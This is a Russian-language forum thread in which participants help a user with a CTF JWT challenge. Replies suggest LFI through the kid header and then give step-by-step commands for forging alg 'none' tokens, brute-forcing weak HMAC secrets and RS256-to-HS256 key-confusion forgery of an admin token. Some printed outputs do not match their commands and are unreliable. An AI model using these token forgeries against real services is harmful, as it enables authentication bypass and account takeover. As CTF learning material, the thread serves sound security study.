• B правой части каждого сообщения есть стрелки и . Не стесняйтесь оценивать ответы. Чтобы автору вопроса закрыть свой тикет, надо выбрать лучший ответ. Просто нажмите значок в правой части сообщения.

Нужна помощь с CTF - JSON Web Token (JWT)

devn00b

One Level
21.07.2021
7
3
BIT
0
Странно, ни одной темы с JWT на форуме не находит. Прошу дать направление, куда двигаться. В гугле одни и те же уязвимости обозревают, которые тут не работают.

Прохожу тестовое задание. Как я понял, флаг находится на сервере.
  1. Как я могу через JWT залезть на сервер, какие вообще способы есть? Только ли через kid? У меня не вышло.
  2. Есть вот такой JWT. Что тут с payload? Не понимаю, либо кодировка не та, либо это не JSON формат и нужно ли мне вообще его трогать, если цель залезть на сервер, а не зайти под другим пользователем.

Код:
token=eyJ0eXAiOiAiSldUIiwgImFsZyI6ICJIUzI1NiIsICJraWQiOiAic2VjcmV0LnR4dCJ9.gASVOwAAAAAAAACMBG1haW6UjARVc2VylJOUKYGUfZQojAh1c2VybmFtZZSMBmpla2FjaJSMBHJvbGWUjAR1c2VylHViLg.1F4rVsZBk8jG2KMJqKRVkj6qqQ3VTDBRnxp0f-cvn-k


Может быть есть исчерпывающее руководство по JWT, где все векторы атак описаны, которое можно изучить? Подскажите, пожалуйста.
 
Последнее редактирование:

N1GGA

Codeby Team
Администратор
16.07.2018
366
357
BIT
489
Странно, ни одной темы с JWT на форуме не находит. Прошу дать направление, куда двигаться. В гугле одни и те же уязвимости
Код:
{"typ": "JWT", "alg": "HS256", "kid": "secret.txt"}
обозревают, которые тут не работают.

Прохожу тестовое задание. Как я понял, флаг находится на сервере.
  1. Как я могу через JWT залезть на сервер, какие вообще способы есть? Только ли через kid? У меня не вышло.
  2. Есть вот такой JWT. Что тут с payload? Не понимаю, либо кодировка не та, либо это не JSON формат и нужно ли мне вообще его трогать, если цель залезть на сервер, а не зайти под другим пользователем.

Код:
token=eyJ0eXAiOiAiSldUIiwgImFsZyI6ICJIUzI1NiIsICJraWQiOiAic2VjcmV0LnR4dCJ9.gASVOwAAAAAAAACMBG1haW6UjARVc2VylJOUKYGUfZQojAh1c2VybmFtZZSMBmpla2FjaJSMBHJvbGWUjAR1c2VylHViLg.1F4rVsZBk8jG2KMJqKRVkj6qqQ3VTDBRnxp0f-cvn-k


Может быть есть исчерпывающее руководство по JWT, где все векторы атак описаны, которое можно изучить? Подскажите, пожалуйста.
Обычно, JWT представляет из себя строку, зашифрованную в Base64. Если расшифровать часть токена, получим
Код:
{"typ": "JWT", "alg": "HS256", "kid": "secret.txt"}
Похоже на LFI через JWT. Но, я могу ошибаться, так как не решал этот таск. В общем, направление вам дали, копайте :)
 

larchik

Gold Team
07.06.2019
410
480
BIT
540
Может быть есть исчерпывающее руководство по JWT, где все векторы атак описаны, которое можно изучить? Подскажите, пожалуйста.
Не исчерпывающие, но годные ресурсы:
1.
2. PayloadsAllTheThings/JSON Web Token at master · swisskyrepo/PayloadsAllTheThings
 

GoBL1n

Grey Team
04.08.2016
501
131
BIT
272

"Токен JWT состоит из трех частей: заголовок (header), полезная нагрузка (payload) и подпись или данные шифрования. Первые два элемента — это JSON объекты определенной структуры. Третий элемент вычисляется на основании первых и зависит от выбранного алгоритма (в случае использования не подписанного JWT может быть опущен). Токены могут быть перекодированы в компактное представление (JWS/JWE Compact Serialization): к заголовку и полезной нагрузке применяется алгоритм кодирования Base64-URL, после чего добавляется подпись и все три элемента разделяются точками («.»)."

Атаки на JWT.
Самый просто вариант это попробовать убрать алгоритм (изменив его на none) и убрать подпись, если приложение написано очень плохо и не проверят корректность данных полей, то мы сможем просто создавать токены для любого пользователя.

Есть ещё варианты с использованием слабого секрета при генерации подписи.

в Python
>>> import jwt
>>> encoded = jwt.encode({"username":"admin"}, '', algorithm='none')
>>> encoded
'eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJ1c2VybmFtZSI6ImFkbWluIn0.'
 

GoBL1n

Grey Team
04.08.2016
501
131
BIT
272
JSON Web Token (JWT) \\ Брут токена crackjwt.py




crackjwt.py

jwt2john.py





python3.9 crackjwt.py /home/xk/Desktop/jwt_key.txt /home/xk/soft/pass/top/top_pass.txt



если пароль подобран, собираем свой токен:

в Python

>>> import jwt

>>> jwt.encode({"username":"admin"}, 'подобранный пароль', algorithm='HS512')

'eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJ1c2VybmFtZSI6ImFkbWluIn0.'



JSON Web Token (JWT) - Public \ Private key \\взлом токена подписанного ключем RSA

получаем открытый ключ и токен



расшифровываем токен и забираем полезную нагрузку



jwt.encode({'username': 'admin'}, '', algorithm='HS256') = eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0 = полезная нагрузка



кодируем публичный ключ ( в конце ключа новая строка) в последовательность HEX-ов ( через BurpSuite Decoder= Encode ASCII hex)

например ключ:

-----BEGIN PUBLIC KEY-----

MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA5naQyyA5EqLyoRN9gdTd

kgkg8io1TllN778XEpyV6xrUj0TQ8+XlwG+wciB5xshcqVMhf5PuegMBh6GPxArt

p8QIurEFVtCvUz2GSR64spGvxLo4YP3F3e0iloBKu8DKs4+tc9NBXHTPP/1fH0xY

egalTs4dawQMaN4rI84kMSjDmRwy2Pobx3FALxY7rDyys7XR/N7cUcttUMW3nDP6

7R+R8LyuMED3N6JsPsJBatMsZDluAYW8rKXEfECu/mIHaLW6MkhwNatU1+6B+kSu

a2NyHBc/9V+0mwCngIYAeUk+y3Hrhyll2Bj/xQpXMRZZKcwDLVfFgwqtBqGPQr6F

ZQIDAQAB

-----END PUBLIC KEY-----



в hex: 2d2d2d2d2d424547494e205055424c4943204b45592d2d2d2d2d0a4d494942496a414e42676b71686b6947397730424151454641414f43415138414d49494243674b4341514541356e61517979413545714c796f524e39676454640a6b676b6738696f31546c6c4e3737385845707956367872556a305451382b586c77472b77636942357873686371564d686635507565674d4268364750784172740a703851497572454656744376557a32475352363473704776784c6f3459503346336530696c6f424b7538444b73342b7463394e4258485450502f3166483078590a6567616c547334646177514d614e34724938346b4d536a446d52777932506f62783346414c78593772447979733758522f4e376355637474554d57336e4450360a37522b52384c79754d4544334e364a7350734a4261744d735a446c7541595738724b5845664543752f6d4948614c57364d6b68774e617455312b36422b6b53750a61324e794842632f39562b306d77436e6749594165556b2b7933487268796c6c32426a2f785170584d525a5a4b6377444c5666466777717442714750517236460a5a514944415141420a2d2d2d2d2d454e44205055424c4943204b45592d2d2d2d2d0a



А теперь подпишем себе токен:

echo -n "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0" | openssl dgst -sha256 -mac HMAC -macopt hexkey:2d2d2d2d2d424547494e205055424c4943204b45592d2d2d2d2d0a4d494942496a414e42676b71686b6947397730424151454641414f43415138414d49494243674b4341514541356e61517979413545714c796f524e39676454640a6b676b6738696f31546c6c4e3737385845707956367872556a305451382b586c77472b77636942357873686371564d686635507565674d4268364750784172740a703851497572454656744376557a32475352363473704776784c6f3459503346336530696c6f424b7538444b73342b7463394e4258485450502f3166483078590a6567616c547334646177514d614e34724938346b4d536a446d52777932506f62783346414c78593772447979733758522f4e376355637474554d57336e4450360a37522b52384c79754d4544334e364a7350734a4261744d735a446c7541595738724b5845664543752f6d4948614c57364d6b68774e617455312b36422b6b53750a61324e794842632f39562b306d77436e6749594165556b2b7933487268796c6c32426a2f785170584d525a5a4b6377444c5666466777717442714750517236460a5a514944415141420a2d2d2d2d2d454e44205055424c4943204b45592d2d2d2d2d0a



получается = b078f4114511e5931f1437d169642d828d98f329d76be0a90a1df3d83fcc2f17



подпись должна быть base64url:

python2 -c "exec(\"import base64, binascii\nprint base64.urlsafe_b64encode(binascii.a2b_hex('b078f4114511e5931f1437d169642d828d98f329d76be0a90a1df3d83fcc2f17')).replace('=','')\")"

получается: 0AVBTLk7LyXpvbAf8Ujf8oJj16l76JkO4oDzbjvi8bI



ну и собираем токен: полезная назрузка + подписанный:

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.0AVBTLk7LyXpvbAf8Ujf8oJj16l76JkO4oDzbjvi8bI
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!